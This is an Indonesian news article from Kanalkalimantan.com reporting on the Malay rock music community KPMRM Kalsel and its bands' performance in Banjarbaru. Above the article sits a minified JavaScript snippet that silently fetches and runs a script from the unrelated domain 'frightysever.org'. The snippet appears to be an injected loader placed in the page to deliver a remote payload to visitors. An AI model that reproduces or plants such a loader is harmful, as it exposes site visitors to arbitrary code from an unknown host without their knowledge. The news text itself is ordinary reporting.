(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kelompok penggemar musik dari negeri jiran Malaysia yang berasal dari Banjarmasin tampil membawakan musik genre rock melayu di panggung sederhana kawasan kuliner Minggu Raya alias MGR, Sabtu (19/10/2024) malam.
Mereka adalah band-band yang tergabung dalam Komunitas Pencinta Musik Rock Melayu (KPMRM) Kalsel
berhasil menarik perhatian penonton di kawasan MGR Banjarbaru lewat improvisasi musik rock melayu atau musik rock melayu yang diaransemen.
Ketua KPMRM Kalsel, Muhammad Khusnun Nazar mengatakan walau sering tampil di Banjarmasin, namun ini pertama kalinya bagi KPMRM Kalsel menghibur warga Kota Banjarbaru dengan menggelar acara nostalgia Slow Rock Malaysia ’80-90.
Baca juga: Aksi Mahasiswa Hari Pangan Sedunia: Proyek HPS 2018 Jejangkit Gagal, Muncul Kelapa Sawit
“Kalau dulu di Banjarmasin kita adakan Improvisasi Rock Melayu Volume 1, sekarang kita coba lagi di Banjarbaru untuk Volumen 2-nya. Karena sering mengadakan di Banjarmasin kita coba sesekali di Banjarbaru mencari suasana baru,” ujar Muhammad Khusnun Nazar saat diwawancarai Kanalkalimantan.com.
Khusnun Nazar menjelaskan, improvisasi rock melayu dapat diartikan mengaransemen lagu yang berbeda dari pada aslinya.
Ada enam band asal Banjarmasin-Banjarbaru dari KPMRM yang membawakan lagu Slow Rock Malaysia ’80-90 dan beberapa lagu Malaysia lain yang beraliran happy metal.
“Contohnya seperti lagu Wings Sejati hingga Isabela dan lagu-lagu yang memang masuk dalam cakupan rock melayu luas dari berbagai genre mulai dari balada pop, rock hard, rock happy metal dan lain-lain,” sebut dia.
Baca juga: BRI-Pos Indonesia Luncurkan Fitur “Kirim Barang” melalui PosAja! di BRImo
Tidak hanya improvisasi lagu saja, namun ternyata band-band ini membawakan lagu-lagu yang mereka ciptakan sendiri.
“Jadi kita juga mengangkat Banua, walaupun menyukai genre lagu Malaysia tapi di sisi lain dengan mengetahui banyak genre lagu-lagu itu membuat mereka bisa menciptakan lagu mereka sendiri. Seperti Anox Band bisa menciptakan lagu beraliran slow rock melayu,” jelasnya.
Hal senada disampaikan Abdul Rahman, Koordinator KPMRM Banjarbaru sekaligus vokalis Anox Band. Melalui KPMRM ini selain mereka bisa bermusik dan tampil di acara, mereka juga memiliki terobosan untuk bisa menciptakan karya.
“Kami punnya ruang lingkup independen, siapapun bisa masuk ke dalam sini. Kita tidak menutup siapapun yang mau bergabung dengan kami mau dari genre mana saja semua lapisan masyarakat, semua genre dan simpatisan kami rangkul semua,” ujar Abdul Rahman.
Mereka juga memiliki channel youtube KPMRM Production yang isinya terobosan karya-karya musik hingga music video yang dibuat oleh anggota band-band mulai dari D’Boom hingga dari Anox Band sendiri. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.